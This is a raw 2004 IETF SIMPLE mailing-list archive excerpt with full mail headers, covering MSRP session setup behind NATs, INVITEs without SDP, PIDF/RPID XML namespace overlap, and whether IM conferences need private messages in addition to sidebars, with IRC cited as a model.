> Cc: simple@ietf.org
> Subject: [Simple] MSRP & Comedia
>=20
>=20
>=20
> This is a half baked idea that I am just tossing out as food=20
> for thought
>=20
> Consider a systems where something like the UA that sends the=20
> answer sends
> the VISIT.=20
>=20
> Consider the cases where A want to set up a MSRP session with B.
>=20
> A is behind a NAT and does not want to use a relay. A sends=20
> an INVITE with
> no offer. B sends an offer, gets back an answer and A sends the VISIT.
> A -> inv    -> B
> A <- offer  <- B
> A -> answer -> B
> A -> visit  -> B
>=20
> B is behind a NAT. A sends an offer and B sends an answer and=20
> A sends VISIT.
> A -> offer  -> B
> A <- answer <- B
> A <- visit  <- B
>=20
> A and B are behind NATS. A sends INVITE no offer, B knows=20
> relay is needed
> and gets one and sends offer.
>=20
> The underlying principal is basically if you don't know what=20
> port you are
> going to receive media at (which is the case with a NAT) you=20
> should not be
> making any offers and if you make an offer the assumption is=20
> that the other
> side and send media (a VISIT) to that and have it work.
>=20
> The fundamental thing I am trying to avoid is two vendors=20
> both saying they
> have MSRP compliant systems yet still having them fail to be=20
> able to talk to
> each other because they both expect the other one to host.=20
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 02:04:18 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA13293
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 02:04:17 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxhSv-00089x-Oa
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 02:03:50 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2173nFP031363
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 02:03:49 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxhSv-00089i-Ct
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 02:03:49 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA12939
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 02:03:46 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxhSr-00041m-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 02:03:45 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxhRs-0003um-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 02:02:45 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxhRN-0003oC-00; Mon, 01 Mar 2004 02:02:13 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxhRG-0007Yi-Rs; Mon, 01 Mar 2004 02:02:06 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxhQt-0007TW-4j
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 02:01:43 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA11450
	for <simple@ietf.org>; Mon, 1 Mar 2004 02:01:40 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxhQp-0003mB-00
	for simple@ietf.org; Mon, 01 Mar 2004 02:01:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxhQ4-0003g4-00
	for simple@ietf.org; Mon, 01 Mar 2004 02:00:53 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxhPV-0003Yv-00
	for simple@ietf.org; Mon, 01 Mar 2004 02:00:17 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21709T28919;
	Mon, 1 Mar 2004 09:00:09 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 09:00:05 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i21705PA012155;
	Mon, 1 Mar 2004 09:00:05 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks002.ntc.nokia.com 00spB7Yy; Mon, 01 Mar 2004 09:00:05 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21704O29358;
	Mon, 1 Mar 2004 09:00:04 +0200 (EET)
Received: from esebh005.NOE.Nokia.com ([172.21.138.86]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 09:00:05 +0200
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh005.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 09:00:04 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] MSRP & Comedia
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797803@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] MSRP & Comedia
Thread-Index: AcP+lLTM6HYaWkHRTxe2QnPjD/fJogAxaWXQ
To: <fluffy@cisco.com>, <bcampbell@dynamicsoft.com>, <rsparks@dynamicsoft.com>,
        <rohan@cisco.com>, <adam@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 01 Mar 2004 07:00:04.0762 (UTC) FILETIME=[D2F077A0:01C3FF5A]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 09:00:03 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

In some cases, different INVITEs cause different applications to start =
at the UAS. The way to differentiate between those INVITEs is sometimes =
by using the sdp as a clue. For those devices, receiving INVITE with no =
sdp might cause problems. The UAS needs to guess what application to =
start.

/Hisham

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Cullen Jennings
> Sent: 27.February.2004 08:50
> To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
> Cc: simple@ietf.org
> Subject: [Simple] MSRP & Comedia
>=20
>=20
>=20
> This is a half baked idea that I am just tossing out as food=20
> for thought
>=20
> Consider a systems where something like the UA that sends the=20
> answer sends
> the VISIT.=20
>=20
> Consider the cases where A want to set up a MSRP session with B.
>=20
> A is behind a NAT and does not want to use a relay. A sends=20
> an INVITE with
> no offer. B sends an offer, gets back an answer and A sends the VISIT.
> A -> inv    -> B
> A <- offer  <- B
> A -> answer -> B
> A -> visit  -> B
>=20
> B is behind a NAT. A sends an offer and B sends an answer and=20
> A sends VISIT.
> A -> offer  -> B
> A <- answer <- B
> A <- visit  <- B
>=20
> A and B are behind NATS. A sends INVITE no offer, B knows=20
> relay is needed
> and gets one and sends offer.
>=20
> The underlying principal is basically if you don't know what=20
> port you are
> going to receive media at (which is the case with a NAT) you=20
> should not be
> making any offers and if you make an offer the assumption is=20
> that the other
> side and send media (a VISIT) to that and have it work.
>=20
> The fundamental thing I am trying to avoid is two vendors=20
> both saying they
> have MSRP compliant systems yet still having them fail to be=20
> able to talk to
> each other because they both expect the other one to host.=20
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 02:20:39 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA24106
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 02:20:39 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxhjC-00064X-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 02:20:38 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxhiJ-0005ye-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 02:19:44 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axhhh-0005sT-00; Mon, 01 Mar 2004 02:19:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axhhg-0005Ob-Ks; Mon, 01 Mar 2004 02:19:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axhh9-0005CK-MP
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 02:18:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA23851
	for <simple@ietf.org>; Mon, 1 Mar 2004 02:18:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axhh5-0005r3-00
	for simple@ietf.org; Mon, 01 Mar 2004 02:18:28 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxhgG-0005mu-00
	for simple@ietf.org; Mon, 01 Mar 2004 02:17:36 -0500
Received: from rtp-iport-2.cisco.com ([64.102.122.149])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axhfx-0005hI-00
	for simple@ietf.org; Mon, 01 Mar 2004 02:17:17 -0500
Received: from rtp-core-1.cisco.com (64.102.124.12)
  by rtp-iport-2.cisco.com with ESMTP; 29 Feb 2004 23:15:47 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i217GkT4026054;
	Mon, 1 Mar 2004 02:16:46 -0500 (EST)
Received: from cisco.com (sin-vpn-client-20-17.cisco.com [10.68.20.17])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGK33550;
	Mon, 1 Mar 2004 02:16:43 -0500 (EST)
Message-ID: <4042E359.1030304@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Simple WG <simple@ietf.org>
Subject: Re: pidf namespace, was: Re: [Simple] comments on draft-ietf-simple-rpid
 (long)
References: <4041F046.7050207@dynamicsoft.com> <40429762.4070101@cs.columbia.edu> <4042BB0A.20908@dynamicsoft.com> <4042CB54.3080201@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 02:16:41 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Henning Schulzrinne wrote:
> 
> The only limitation of using targetNamespace that there can't be another 
> extension that also defines activity, relationship, etc., just in a 
> different namespace. From a practical perspective, this seems like an 
> advantage, not a drawback. Having two IETF extensions that use
> 
> <foo:activity>
> and
> <bar:activity>
> 
> seems to invite confusion to address non-problems (lack of coordination 
> [these are IETF extensions, after all] and shortage of English words).

We've already done it:

<class> is defined in both
urn:ietf:params:xml:ns:pidf:rpid-tuple and in 
urn:ietf:params:xml:ns:simple-prescaps-ext.

It isn't too bad, because they can't be used in the same context. The 
rpid class can only be used directly below <tuple>, while the prescaps 
class can only be used within <prescaps>.

	Paul

	Paul


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 02:21:12 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA24163
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 02:21:12 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxhjI-0006DY-BQ
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 02:20:44 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i217Kia5023845
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 02:20:44 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxhjG-0006CW-W3
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 02:20:43 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA24123
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 02:20:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxhjD-00064c-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 02:20:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxhiK-0005yl-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 02:19:44 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axhhh-0005sT-00; Mon, 01 Mar 2004 02:19:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axhhg-0005Ob-Ks; Mon, 01 Mar 2004 02:19:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axhh9-0005CK-MP
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 02:18:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA23851
	for <simple@ietf.org>; Mon, 1 Mar 2004 02:18:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axhh5-0005r3-00
	for simple@ietf.org; Mon, 01 Mar 2004 02:18:28 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxhgG-0005mu-00
	for simple@ietf.org; Mon, 01 Mar 2004 02:17:36 -0500
Received: from rtp-iport-2.cisco.com ([64.102.122.149])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axhfx-0005hI-00
	for simple@ietf.org; Mon, 01 Mar 2004 02:17:17 -0500
Received: from rtp-core-1.cisco.com (64.102.124.12)
  by rtp-iport-2.cisco.com with ESMTP; 29 Feb 2004 23:15:47 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i217GkT4026054;
	Mon, 1 Mar 2004 02:16:46 -0500 (EST)
Received: from cisco.com (sin-vpn-client-20-17.cisco.com [10.68.20.17])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGK33550;
	Mon, 1 Mar 2004 02:16:43 -0500 (EST)
Message-ID: <4042E359.1030304@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Simple WG <simple@ietf.org>
Subject: Re: pidf namespace, was: Re: [Simple] comments on draft-ietf-simple-rpid
 (long)
References: <4041F046.7050207@dynamicsoft.com> <40429762.4070101@cs.columbia.edu> <4042BB0A.20908@dynamicsoft.com> <4042CB54.3080201@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 02:16:41 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Henning Schulzrinne wrote:
> 
> The only limitation of using targetNamespace that there can't be another 
> extension that also defines activity, relationship, etc., just in a 
> different namespace. From a practical perspective, this seems like an 
> advantage, not a drawback. Having two IETF extensions that use
> 
> <foo:activity>
> and
> <bar:activity>
> 
> seems to invite confusion to address non-problems (lack of coordination 
> [these are IETF extensions, after all] and shortage of English words).

We've already done it:

<class> is defined in both
urn:ietf:params:xml:ns:pidf:rpid-tuple and in 
urn:ietf:params:xml:ns:simple-prescaps-ext.

It isn't too bad, because they can't be used in the same context. The 
rpid class can only be used directly below <tuple>, while the prescaps 
class can only be used within <prescaps>.

	Paul

	Paul


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 03:02:41 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA27259
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 03:02:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxiNs-0002oq-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 03:02:40 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxiMv-0002ib-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 03:01:42 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxiMH-0002cZ-00; Mon, 01 Mar 2004 03:01:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxiMI-000518-Uo; Mon, 01 Mar 2004 03:01:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxiLs-0004tj-Qd
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 03:00:36 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA27088
	for <simple@ietf.org>; Mon, 1 Mar 2004 03:00:33 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxiLo-0002Z1-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:00:32 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxiKr-0002Qb-00
	for simple@ietf.org; Mon, 01 Mar 2004 02:59:34 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxiJx-0002Ie-00
	for simple@ietf.org; Mon, 01 Mar 2004 02:58:37 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i217wVL16310;
	Mon, 1 Mar 2004 09:58:31 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 09:57:56 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i217vuGh013420;
	Mon, 1 Mar 2004 09:57:56 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks003.ntc.nokia.com 00HntyFw; Mon, 01 Mar 2004 09:57:53 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i217vrO21048;
	Mon, 1 Mar 2004 09:57:53 +0200 (EET)
Received: from nokia.com ([10.162.252.221]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 09:57:51 +0200
Message-ID: <4042ECFD.4010206@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "ext Rosen, Brian" <Brian.Rosen@marconi.com>
CC: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        pkyzivat@cisco.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B6479@whq-msgusr-02.pit.comms.marconi.com>
In-Reply-To: <313680C9A886D511A06000204840E1CF070B6479@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 01 Mar 2004 07:57:52.0021 (UTC) FILETIME=[E5963450:01C3FF62]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 09:57:49 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Brian,

I've never argued for private messages over sidebars. I still maintain 
that sidebars and private messages are different and *complimentary* 
features, and that we need *both* to have a complete solution for IM 
conferences.

Cheers,
Aki

ext Rosen, Brian wrote:
> Aki
> 
> When we were discussing sidebars, I made arguments like this against making
> a sidebar
> a separate session.  Sidebars, I argued, are just media (mixing) changes,
> they have
> nothing to do with session management.
> 
> I lost this argument, and I will be very unhappy if IM works differently.
> One of
> the reasons I lost it was the observation that a sidebar could include
> participants
> who are not main conference participants.  I think you have the same issue
> here.
> 
> Brian
> 
> 
>>-----Original Message-----
>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
>>Sent: Sunday, February 29, 2004 12:40 PM
>>To: ext Jonathan Rosenberg
>>Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
>>Miguel.An.Garcia@nokia.com; simple@ietf.org
>>Subject: Re: [Simple] Chat sessions
>>
>>
>>
>>
>>ext Jonathan Rosenberg wrote:
>><snip />
>>
>>>>3. As Aki explained, sidebars and private IMs within a conference 
>>>>are two different things. Sidebars are subconferences, that include
>>>> a certain subset of the participants in the main conference. They 
>>>>need to be explicitly created and deleted. Private IMs within a 
>>>>conference are also targeted to a subset of the conference 
>>>>participants. But there is no need to setup a sidebar or any other 
>>>>additional context to send them. The recipients can simply be 
>>>>signaled within each message (as proposed by using CPIM To header).
>>>> This seems to be a specific property of IM, as this sort of 
>>>>addressing would be impossible e.g. in RTP. In theory priate 
>>>>messaging facility could be supported by sidebars, but in this case
>>>> the focus would need to have as many sidebars constantly setup, as
>>>> there are different possible participant subset combinations. Way 
>>>>too complex and not needed.
>>>
>>>
>>>I dont think that, functionally, what you are describing is 
>>
>>different
>>
>>> from a sidebar. What differs is that the specifics of this media 
>>>type allow for a more efficient implementation of the sidebar than 
>>>would be possible for another media type, such as audio. 
>>
>>Indeed, the 
>>
>>>same is true for IM in general - why set up a session (ala 
>>
>>msrp) when
>>
>>>you can just send a pager mode?
>>
>>The ultimate proof of difference in functionality is that private
>>messages are usable and useful in a sidebar - in fact it makes no
>>difference whether they're sent within the context of a conference, a
>>conference sidebar, or a sidebar of a conference sidebar.
>>
>>Let me provide a concrete example of an already existing service (IRC)
>>that has what I think is a close approximation of both sidebar and
>>private message functionality. (BTW, I feel strongly that if MSRP
>>conferences aren't as feature rich as IRC is, and provide the 
>>same user
>>experience, we've failed miserably.)
>>
>>Channels in IRC have identities, e.g., #helsinki, and 
>>participant lists
>>that are delivered in a very similar manner that the conference-info
>>events would be delivered. Users join these channels using JOIN, at
>>which time they get the participant list, and after that, 
>>updates e.g.,
>>whenever anyone leaves or joins the channel.
>>
>>Users can send private messages to the other participants in 
>>the channel:
>>
>>	PRIVMSG foobar :Some nick you got there foobar!
>>
>>Usually, these messages are displayed in the same pane as the rest of
>>the channel's messages, including information about the sender but
>>marked accordingly as private.
>>
>>A user can also invite others to a sidebar of sorts, that is, a new
>>channel, whose properties can be set such that it can be joined by
>>invitation only.
>>
>>	INVITE FunnyNick #my_channel
>>	INVITE BeerLover #my_channel
>>	INVITE ROOLZ #my_channel
>>
>>Joining this new channel as a result of an invitation (with JOIN)
>>usually results in a new window, moving the focus of conversation away
>>from the original channel, but still maintaining the original channel'
>>and its messages active in the background.
>>
>>The users may again send messages either to the entire 
>>channel (MSG), or
>>to only one participant (PRIVMSG). A recipient of an INVITE will
>>generally make a choice just like in a SIP invitation whether 
>>or not to
>>join the sidebar or not. Receiving a PRIVMSG requires no actions from
>>the recipient. Indeed, it might even go unnoticed.
>>
>>Taking this into account, I fail to see how sidebars alone can be made
>>to work in providing similar functionality in MSRP conferences. Either
>>sidears or private messages alone won't result in the same level of
>>functionality.
>>
>>Wrapping all private conversation inside a sidebar is incredibly
>>inefficient and results in bad user experience, since there 
>>is no way to
>>distinguish a REFER that is to a sidebar whose sole purpose 
>>is to send a
>>single private message to the user or have a real ad-hoc conversation
>>posibly consisting of a real exchange of messages. In fact, this would
>>require 4 rounds of singalling (not including sidebar creation and
>>tear-down), plus user interaction in between:
>>
>>REFER (to sidebar)
>>200 OK
>>
>>-Query/inform user whether wants to join-
>>
>>INVITE (to sidebar)
>>200 OK
>>ACK
>>
>>(Note: would probably also require subscription to conference-info,
>>because one would be interested to whom they are sending the private
>>messages...)
>>
>>MSRP SEND
